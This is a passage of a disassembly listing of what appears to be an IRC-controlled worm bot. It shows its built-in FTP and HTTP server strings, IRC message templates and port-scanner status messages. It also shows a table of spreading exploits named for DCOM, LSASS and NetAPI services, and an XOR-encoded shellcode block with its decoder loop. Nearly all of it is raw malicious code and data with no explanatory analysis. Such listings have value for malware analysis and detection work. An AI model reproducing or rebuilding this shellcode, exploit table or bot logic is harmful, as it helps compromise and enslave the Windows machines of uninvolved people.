a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '╩╩  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B3r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------

loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96

loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E22o
		db 6Eh,	2, 7Ah
